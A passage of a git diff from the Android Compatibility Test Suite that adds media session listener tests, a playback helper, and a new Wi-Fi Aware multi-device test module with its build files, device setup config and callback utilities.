diff --git a/tests/tests/media/res/raw/sine1khzm40db.wav b/hostsidetests/media/app/MediaSessionTest/res/raw/sine1khzm40db.wav
similarity index 100%
copy from tests/tests/media/res/raw/sine1khzm40db.wav
copy to hostsidetests/media/app/MediaSessionTest/res/raw/sine1khzm40db.wav
Binary files differ
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index f12b823..a46fa2f 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,25 +18,35 @@
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.content.ComponentName;
 import android.content.Context;
 import android.media.session.MediaController;
+import android.media.session.MediaSession;
 import android.media.session.MediaSessionManager.RemoteUserInfo;
 import android.media.session.MediaSessionManager;
+import android.media.session.PlaybackState;
 import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests {@link MediaSessionManager} with the multi-user environment.
@@ -45,6 +55,10 @@
  */
 @SmallTest
 public class MediaSessionManagerTest extends NotificationListenerService {
+    private static final String TAG = "MediaSessionManagerTest";
+    private static final int TIMEOUT_MS = 3000;
+    private static final int WAIT_MS = 500;
+
     private Context mContext;
     private MediaSessionManager mMediaSessionManager;
     private ComponentName mComponentName;
@@ -119,4 +133,93 @@
                 mContext.getPackageName(), Process.myPid(), Process.myUid());
         assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
     }
+
+    /**
+     * Tests adding/removing {@link MediaSessionManager.OnMediaKeyEventSessionChangedListener}.
+     */
+    @Test
+    public void testOnMediaKeyEventSessionChangedListener() throws Exception {
+        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
+        mMediaSessionManager.addOnMediaKeyEventSessionChangedListener(
+                Executors.newSingleThreadExecutor(), keyEventSessionListener);
+
+        MediaSession session = createMediaKeySession();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertEquals(session.getSessionToken(), keyEventSessionListener.mSessionToken);
+        assertEquals(session.getSessionToken(),
+                mMediaSessionManager.getMediaKeyEventSession());
+        assertEquals(mContext.getPackageName(),
+                mMediaSessionManager.getMediaKeyEventSessionPackageName());
+
+        mMediaSessionManager.removeOnMediaKeyEventSessionChangedListener(keyEventSessionListener);
+        keyEventSessionListener.resetCountDownLatch();
+
+        session.release();
+        // This shouldn't be called because the callback is removed
+        assertFalse(keyEventSessionListener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    /**
+     * Tests {@link MediaSessionManager.OnMediaKeyEventSessionChangedListener} is called when
+     * the current media key session is released.
+     */
+    @Test
+    public void testOnMediaKeyEventSessionChangedListener_whenSessionIsReleased() throws Exception {
+        MediaSession.Token previousMediaKeyEventSessionToken =
+                mMediaSessionManager.getMediaKeyEventSession();
+
+        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
+        mMediaSessionManager.addOnMediaKeyEventSessionChangedListener(
+                Executors.newSingleThreadExecutor(), keyEventSessionListener);
+
+        MediaSession session = createMediaKeySession();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Check that this is called when the session is released.
+        keyEventSessionListener.resetCountDownLatch();
+        session.release();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertNull(keyEventSessionListener.mSessionToken);
+        assertNull(mMediaSessionManager.getMediaKeyEventSession());
+        assertEquals("", mMediaSessionManager.getMediaKeyEventSessionPackageName());
+    }
+
+    private MediaSession createMediaKeySession() {
+        MediaSession session = new MediaSession(mContext, TAG);
+        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+        // Fake the media session service so this session can take the media key events.
+        session.setPlaybackState(state);
+        session.setActive(true);
+        Utils.assertMediaPlaybackStarted(mContext);
+
+        return session;
+    }
+
+    private class MediaKeyEventSessionListener
+            implements MediaSessionManager.OnMediaKeyEventSessionChangedListener {
+        CountDownLatch mCountDownLatch;
+        MediaSession.Token mSessionToken;
+
+        MediaKeyEventSessionListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        void resetCountDownLatch() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        @Override
+        public void onMediaKeyEventSessionChanged(String packageName,
+                MediaSession.Token sessionToken) {
+            mSessionToken = sessionToken;
+            mCountDownLatch.countDown();
+        }
+    }
 }
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/Utils.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/Utils.java
new file mode 100644
index 0000000..3e562d1
--- /dev/null
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/Utils.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.session.cts;
+
+import android.content.Context;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.MediaPlayer;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+
+import junit.framework.Assert;
+
+import java.io.File;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class Utils {
+    private static final String TAG = "CtsMediaTestUtil";
+    private static final int TEST_TIMING_TOLERANCE_MS = 500;
+
+    /**
+     * Assert that a media playback is started and an active {@link AudioPlaybackConfiguration}
+     * is created once. The playback will be stopped immediately after that.
+     * <p>For a media session to receive media button events, an actual playback is needed.
+     */
+    @AppModeFull(reason = "Instant apps cannot access the SD card")
+    static void assertMediaPlaybackStarted(Context context) {
+        final AudioManager am = context.getSystemService(AudioManager.class);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final TestAudioPlaybackCallback callback = new TestAudioPlaybackCallback();
+        MediaPlayer mediaPlayer = null;
+
+        try {
+            final int activeConfigSizeBeforeStart = am.getActivePlaybackConfigurations().size();
+            final Handler handler = new Handler(handlerThread.getLooper());
+
+            am.registerAudioPlaybackCallback(callback, handler);
+            mediaPlayer = MediaPlayer.create(context, R.raw.sine1khzm40db);
+            mediaPlayer.start();
+            if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
+                    || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
+                Assert.fail("Failed to create an active AudioPlaybackConfiguration");
+            }
+        } catch (InterruptedException e) {
+            Assert.fail("Failed to create an active AudioPlaybackConfiguration");
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (mediaPlayer != null) {
+                mediaPlayer.stop();
+                mediaPlayer.release();
+                mediaPlayer = null;
+            }
+            handlerThread.quitSafely();
+        }
+    }
+
+    private static class TestAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private int mActiveConfigSize;
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            // For non-framework apps, only anonymized active AudioPlaybackCallbacks will be
+            // notified.
+            mActiveConfigSize = configs.size();
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 870893c..38136bd 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,6 +253,26 @@
 
     @AppModeFull
     @RequiresDevice
+    public void testOnMediaKeyEventSessionChangedListener() throws Exception {
+        int primaryUserId = getDevice().getPrimaryUserId();
+
+        setAllowGetActiveSessionForTest(true, primaryUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId, false);
+        runTest("testOnMediaKeyEventSessionChangedListener");
+    }
+
+    @AppModeFull
+    @RequiresDevice
+    public void testOnMediaKeyEventSessionChangedListener_whenSessionIsReleased() throws Exception {
+        int primaryUserId = getDevice().getPrimaryUserId();
+
+        setAllowGetActiveSessionForTest(true, primaryUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId, false);
+        runTest("testOnMediaKeyEventSessionChangedListener_whenSessionIsReleased");
+    }
+
+    @AppModeFull
+    @RequiresDevice
     // Ignored due to b/171012388.
     public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
             throws Exception {
diff --git a/hostsidetests/multidevices/README.md b/hostsidetests/multidevices/README.md
new file mode 100644
index 0000000..2f42104
--- /dev/null
+++ b/hostsidetests/multidevices/README.md
@@ -0,0 +1,5 @@
+## CTS Multi-device Modules
+
+Refer to go/cts-multi-device-module for step-by-step instructions on creating
+CTS multi-device modules.
+
diff --git a/hostsidetests/multidevices/wifi_aware/Android.bp b/hostsidetests/multidevices/wifi_aware/Android.bp
new file mode 100644
index 0000000..345e84c
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+python_test_host {
+    name: "CtsWifiAwareTestCases",
+    main: "wifi_aware_test.py",
+    srcs: ["wifi_aware_test.py"],
+    libs: [
+        "mobly",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    test_options: {
+        unit_test: false,
+    },
+    data: [
+        // Package the snippet with the mobly test
+        ":wifi_aware_snippet",
+    ],
+    version: {
+        py2: {
+            enabled: false,
+        },
+        py3: {
+            enabled: true,
+            embedded_launcher: true,
+        },
+    },
+}
diff --git a/hostsidetests/multidevices/wifi_aware/AndroidTest.xml b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
new file mode 100644
index 0000000..95847d1
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+          http://www.apache.org/licenses/LICENSE-2.0
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Wifi Aware test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="wifi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+
+    <device name="device1">
+        <!-- For coverage to work, the APK should not be uninstalled until after coverage is pulled.
+             So it's a lot easier to install APKs outside the python code.
+        -->
+        <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+            <option name="test-file-name" value="wifi_aware_snippet.apk" />
+        </target_preparer>
+        <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+            <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+            <option name="run-command" value="wm dismiss-keyguard" />
+        </target_preparer>
+    </device>
+    <device name="device2">
+        <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+            <option name="test-file-name" value="wifi_aware_snippet.apk" />
+        </target_preparer>
+        <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+            <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+            <option name="run-command" value="wm dismiss-keyguard" />
+        </target_preparer>
+    </device>
+
+    <test class="com.android.tradefed.testtype.mobly.MoblyBinaryHostTest">
+      <!-- The mobly-par-file-name should match the module name -->
+      <option name="mobly-par-file-name" value="CtsWifiAwareTestCases" />
+      <!-- Timeout limit in milliseconds for all test cases of the python binary -->
+      <option name="mobly-test-timeout" value="60000" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/multidevices/wifi_aware/OWNERS b/hostsidetests/multidevices/wifi_aware/OWNERS
new file mode 100644
index 0000000..bde7824
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 33618
+include platform/packages/modules/Wifi:/WIFI_OWNERS
+
+# Engprod - Not owner of the test but help maintaining the module as an example
+jdesprez@google.com
+frankfeng@google.com
+murj@google.com
diff --git a/hostsidetests/multidevices/wifi_aware/snippet/Android.bp b/hostsidetests/multidevices/wifi_aware/snippet/Android.bp
new file mode 100644
index 0000000..f6af7c4
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/snippet/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "wifi_aware_snippet",
+    sdk_version: "current",
+    srcs: [
+        "CallbackUtils.java",
+        "WifiAwareSnippet.java",
+    ],
+    manifest: "AndroidManifest.xml",
+    static_libs: [
+        "androidx.test.runner",
+        "guava",
+        "mobly-snippet-lib",
+    ],
+}
+
diff --git a/hostsidetests/multidevices/wifi_aware/snippet/AndroidManifest.xml b/hostsidetests/multidevices/wifi_aware/snippet/AndroidManifest.xml
new file mode 100644
index 0000000..87ed372
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/snippet/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.google.snippet">
+  <!-- Declare the minimum Android SDK version and internet permission,
+       which are required by Mobly Snippet Lib since it uses network socket. -->
+  <uses-sdk
+      android:minSdkVersion="16"
+      android:targetSdkVersion="21"/>
+  <uses-permission android:name="android.permission.INTERNET" />
+  <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+  <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+  <application>
+    <!-- Add any classes that implement the Snippet interface as meta-data, whose
+         value is a comma-separated string, each section being the package path
+         of a snippet class -->
+    <meta-data
+        android:name="mobly-snippets"
+        android:value="com.google.snippet.WifiAwareSnippet" />
+  </application>
+  <!-- Add an instrumentation tag so that the app can be launched through an
+       instrument command. The runner `com.google.android.mobly.snippet.SnippetRunner`
+       is derived from `AndroidJUnitRunner`, and is required to use the
+       Mobly Snippet Lib. -->
+  <instrumentation
+      android:name="com.google.android.mobly.snippet.SnippetRunner"
+      android:targetPackage="com.google.snippet" />
+</manifest>
diff --git a/hostsidetests/multidevices/wifi_aware/snippet/CallbackUtils.java b/hostsidetests/multidevices/wifi_aware/snippet/CallbackUtils.java
new file mode 100644
index 0000000..a23d619
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/snippet/CallbackUtils.java
@@ -0,0 +1,411 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.snippet;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.wifi.aware.AttachCallback;
+import android.net.wifi.aware.DiscoverySessionCallback;
+import android.net.wifi.aware.IdentityChangedListener;
+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishDiscoverySession;
+import android.net.wifi.aware.SubscribeDiscoverySession;
+import android.net.wifi.aware.WifiAwareSession;
+import android.net.wifi.rtt.RangingResult;
+import android.net.wifi.rtt.RangingResultCallback;
+import android.util.Log;
+import android.util.Pair;
+import com.google.common.collect.ImmutableSet;
+import java.util.ArrayDeque;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+
+/** Blocking callbacks for Wi-Fi Aware and Connectivity Manager. */
+public final class CallbackUtils {
+  private static final String TAG = "CallbackUtils";
+
+  public static final int CALLBACK_TIMEOUT_SEC = 15;
+
+  /**
+   * Utility AttachCallback - provides mechanism to block execution with the waitForAttach method.
+   */
+  public static class AttachCb extends AttachCallback {
+
+    /** Callback codes. */
+    public static enum CallbackCode {
+      TIMEOUT,
+      ON_ATTACHED,
+      ON_ATTACH_FAILED
+    };
+
+    private final CountDownLatch blocker = new CountDownLatch(1);
+    private CallbackCode callbackCode = CallbackCode.TIMEOUT;
+    private WifiAwareSession wifiAwareSession = null;
+
+    @Override
+    public void onAttached(WifiAwareSession session) {
+      callbackCode = CallbackCode.ON_ATTACHED;
+      wifiAwareSession = session;
+      blocker.countDown();
+    }
+
+    @Override
+    public void onAttachFailed() {
+      callbackCode = CallbackCode.ON_ATTACH_FAILED;
+      blocker.countDown();
+    }
+
+    /**
+     * Wait (blocks) for any AttachCallback callback or timeout.
+     *
+     * @return A pair of values: the callback constant (or TIMEOUT) and the WifiAwareSession created
+     *     when attach successful - null otherwise (attach failure or timeout).
+     */
+    public Pair<CallbackCode, WifiAwareSession> waitForAttach() throws InterruptedException {
+      if (blocker.await(CALLBACK_TIMEOUT_SEC, SECONDS)) {
+        return new Pair<>(callbackCode, wifiAwareSession);
+      }
+
+      return new Pair<>(CallbackCode.TIMEOUT, null);
+    }
+  }
+
+  /**
+   * Utility IdentityChangedListener - provides mechanism to block execution with the
+   * waitForIdentity method. Single shot listener - only listens for the first triggered callback.
+   */
+  public static class IdentityListenerSingleShot extends IdentityChangedListener {
+    private final CountDownLatch blocker = new CountDownLatch(1);
+    private byte[] mac = null;
+
+    @Override
+    public void onIdentityChanged(byte[] mac) {
+      if (this.mac != null) {
+        return;
+      }
+
+      this.mac = mac;
+      blocker.countDown();
+    }
+
+    /**
+     * Wait (blocks) for the onIdentityChanged callback or a timeout.
+     *
+     * @return The MAC address returned by the onIdentityChanged() callback, or null on timeout.
+     */
+    public byte[] waitForMac() throws InterruptedException {
+      if (blocker.await(CALLBACK_TIMEOUT_SEC, SECONDS)) {
+        return mac;
+      }
+
+      return null;
+    }
+  }
+
+  /**
+   * Utility NetworkCallback - provides mechanism for blocking/serializing access with the
+   * waitForNetwork method.
+   */
+  public static class NetworkCb extends ConnectivityManager.NetworkCallback {
+    private final CountDownLatch blocker = new CountDownLatch(1);
+    private Network network = null;
+    private NetworkCapabilities networkCapabilities = null;
+
+    @Override
+    public void onUnavailable() {
+      networkCapabilities = null;
+      blocker.countDown();
+    }
+
+    @Override
+    public void onCapabilitiesChanged(Network network, NetworkCapabilities networkCapabilities) {
+      this.network = network;
+      this.networkCapabilities = networkCapabilities;
+      blocker.countDown();
+    }
+
+    /**
+     * Wait (blocks) for Capabilities Changed callback - or timesout.
+     *
+     * @return Network + NetworkCapabilities (pair) if occurred, null otherwise.
+     */
+    public Pair<Network, NetworkCapabilities> waitForNetworkCapabilities()
+        throws InterruptedException {
+      if (blocker.await(CALLBACK_TIMEOUT_SEC, SECONDS)) {
+        return Pair.create(network, networkCapabilities);
+      }
+      return null;
+    }
+  }
+
+  /**
+   * Utility DiscoverySessionCallback - provides mechanism to block/serialize Aware discovery
+   * operations using the waitForCallbacks() method.
+   */
+  public static class DiscoveryCb extends DiscoverySessionCallback {
+    /** Callback codes. */
+    public static enum CallbackCode {
+      TIMEOUT,
+      ON_PUBLISH_STARTED,
+      ON_SUBSCRIBE_STARTED,
+      ON_SESSION_CONFIG_UPDATED,
+      ON_SESSION_CONFIG_FAILED,
+      ON_SESSION_TERMINATED,
+      ON_SERVICE_DISCOVERED,
+      ON_MESSAGE_SEND_SUCCEEDED,
+      ON_MESSAGE_SEND_FAILED,
+      ON_MESSAGE_RECEIVED,
+      ON_SERVICE_DISCOVERED_WITH_RANGE,
+    };
+
+    /**
+     * Data container for all parameters which can be returned by any DiscoverySessionCallback
+     * callback.
+     */
+    public static class CallbackData {
+      public CallbackData(CallbackCode callbackCode) {
+        this.callbackCode = callbackCode;
+      }
+
+      public CallbackCode callbackCode;
+
+      public PublishDiscoverySession publishDiscoverySession;
+      public SubscribeDiscoverySession subscribeDiscoverySession;
+      public PeerHandle peerHandle;
+      public byte[] serviceSpecificInfo;
+      public List<byte[]> matchFilter;
+      public int messageId;
+      public int distanceMm;
+    }
+
+    private CountDownLatch blocker = null;
+    private Set<CallbackCode> waitForCallbackCodes = ImmutableSet.of();
+
+    private final Object lock = new Object();
+    private final ArrayDeque<CallbackData> callbackQueue = new ArrayDeque<>();
+
+    private void processCallback(CallbackData callbackData) {
+      synchronized (lock) {
+        callbackQueue.addLast(callbackData);
+        if (blocker != null && waitForCallbackCodes.contains(callbackData.callbackCode)) {
+          blocker.countDown();
+        }
+      }
+    }
+
+    private CallbackData getAndRemoveFirst(Set<CallbackCode> callbackCodes) {
+      synchronized (lock) {
+        for (CallbackData cbd : callbackQueue) {
+          if (callbackCodes.contains(cbd.callbackCode)) {
+            callbackQueue.remove(cbd);
+            return cbd;
+          }
+        }
+      }
+
+      return null;
+    }
+
+    private CallbackData waitForCallbacks(Set<CallbackCode> callbackCodes, boolean timeout)
+        throws InterruptedException {
+      synchronized (lock) {
+        CallbackData cbd = getAndRemoveFirst(callbackCodes);
+        if (cbd != null) {
+          return cbd;
+        }
+
+        waitForCallbackCodes = callbackCodes;
+        blocker = new CountDownLatch(1);
+      }
+
+      boolean finishedNormally = true;
+      if (timeout) {
+        finishedNormally = blocker.await(CALLBACK_TIMEOUT_SEC, SECONDS);
+      } else {
+        blocker.await();
+      }
+      if (finishedNormally) {
+        CallbackData cbd = getAndRemoveFirst(callbackCodes);
+        if (cbd != null) {
+          return cbd;
+        }
+
+        Log.wtf(
+            TAG,
+            "DiscoveryCb.waitForCallback: callbackCodes="
+                + callbackCodes
+                + ": did not time-out but doesn't have any of the requested callbacks in "
+                + "the stack!?");
+        // falling-through to TIMEOUT
+      }
+
+      return new CallbackData(CallbackCode.TIMEOUT);
+    }
+
+    /**
+     * Wait for the specified callbacks - a bitmask of any of the ON_* constants. Returns the
+     * CallbackData structure whose CallbackData.callback specifies the callback which was
+     * triggered. The callback may be TIMEOUT.
+     *
+     * <p>Note: other callbacks happening while while waiting for the specified callback(s) will be
+     * queued.
+     */
+    public CallbackData waitForCallbacks(Set<CallbackCode> callbackCodes)
+        throws InterruptedException {
+      return waitForCallbacks(callbackCodes, true);
+    }
+
+    /**
+     * Wait for the specified callbacks - a bitmask of any of the ON_* constants. Returns the
+     * CallbackData structure whose CallbackData.callback specifies the callback which was
+     * triggered.
+     *
+     * <p>This call will not timeout - it can be interrupted though (which results in a thrown
+     * exception).
+     *
+     * <p>Note: other callbacks happening while while waiting for the specified callback(s) will be
+     * queued.
+     */
+    public CallbackData waitForCallbacksNoTimeout(Set<CallbackCode> callbackCodes)
+        throws InterruptedException {
+      return waitForCallbacks(callbackCodes, false);
+    }
+
+    @Override
+    public void onPublishStarted(PublishDiscoverySession session) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_PUBLISH_STARTED);
+      callbackData.publishDiscoverySession = session;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onSubscribeStarted(SubscribeDiscoverySession session) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SUBSCRIBE_STARTED);
+      callbackData.subscribeDiscoverySession = session;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onSessionConfigUpdated() {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SESSION_CONFIG_UPDATED);
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onSessionConfigFailed() {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SESSION_CONFIG_FAILED);
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onSessionTerminated() {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SESSION_TERMINATED);
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onServiceDiscovered(
+        PeerHandle peerHandle, byte[] serviceSpecificInfo, List<byte[]> matchFilter) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SERVICE_DISCOVERED);
+      callbackData.peerHandle = peerHandle;
+      callbackData.serviceSpecificInfo = serviceSpecificInfo;
+      callbackData.matchFilter = matchFilter;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onServiceDiscoveredWithinRange(
+        PeerHandle peerHandle,
+        byte[] serviceSpecificInfo,
+        List<byte[]> matchFilter,
+        int distanceMm) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_SERVICE_DISCOVERED_WITH_RANGE);
+      callbackData.peerHandle = peerHandle;
+      callbackData.serviceSpecificInfo = serviceSpecificInfo;
+      callbackData.matchFilter = matchFilter;
+      callbackData.distanceMm = distanceMm;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onMessageSendSucceeded(int messageId) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_MESSAGE_SEND_SUCCEEDED);
+      callbackData.messageId = messageId;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onMessageSendFailed(int messageId) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_MESSAGE_SEND_FAILED);
+      callbackData.messageId = messageId;
+      processCallback(callbackData);
+    }
+
+    @Override
+    public void onMessageReceived(PeerHandle peerHandle, byte[] message) {
+      CallbackData callbackData = new CallbackData(CallbackCode.ON_MESSAGE_RECEIVED);
+      callbackData.peerHandle = peerHandle;
+      callbackData.serviceSpecificInfo = message;
+      processCallback(callbackData);
+    }
+  }
+
+  /**
+   * Utility RangingResultCallback - provides mechanism for blocking/serializing access with the
+   * waitForRangingResults method.
+   */
+  public static class RangingCb extends RangingResultCallback {
+    public static final int TIMEOUT = -1;
+    public static final int ON_FAILURE = 0;
+    public static final int ON_RESULTS = 1;
+
+    private final CountDownLatch blocker = new CountDownLatch(1);
+    private int status = TIMEOUT;
+    private List<RangingResult> results = null;
+
+    /**
+     * Wait (blocks) for Ranging results callbacks - or times-out.
+     *
+     * @return Pair of status & Ranging results if succeeded, null otherwise.
+     */
+    public Pair<Integer, List<RangingResult>> waitForRangingResults() throws InterruptedException {
+      if (blocker.await(CALLBACK_TIMEOUT_SEC, SECONDS)) {
+        return new Pair<>(status, results);
+      }
+      return new Pair<>(TIMEOUT, null);
+    }
+
+    @Override
+    public void onRangingFailure(int code) {
+      status = ON_FAILURE;
+      blocker.countDown();
+    }
+
+    @Override
+    public void onRangingResults(List<RangingResult> results) {
+      status = ON_RESULTS;
+      this.results = results;
+      blocker.countDown();
+    }
+  }
+
+  private CallbackUtils() {}
+}
diff --git a/hostsidetests/multidevices/wifi_aware/snippet/WifiAwareSnippet.java b/hostsidetests/multidevices/wifi_aware/snippet/WifiAwareSnippet.java
new file mode 100644
index 0000000..38f70fd
--- /dev/null
+++ b/hostsidetests/multidevices/wifi_aware/snippet/WifiAwareSnippet.java
@@ -0,0 +1,257 @@
+package com.google.snippet;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import android.content.Context;
+import android.net.wifi.aware.DiscoverySession;
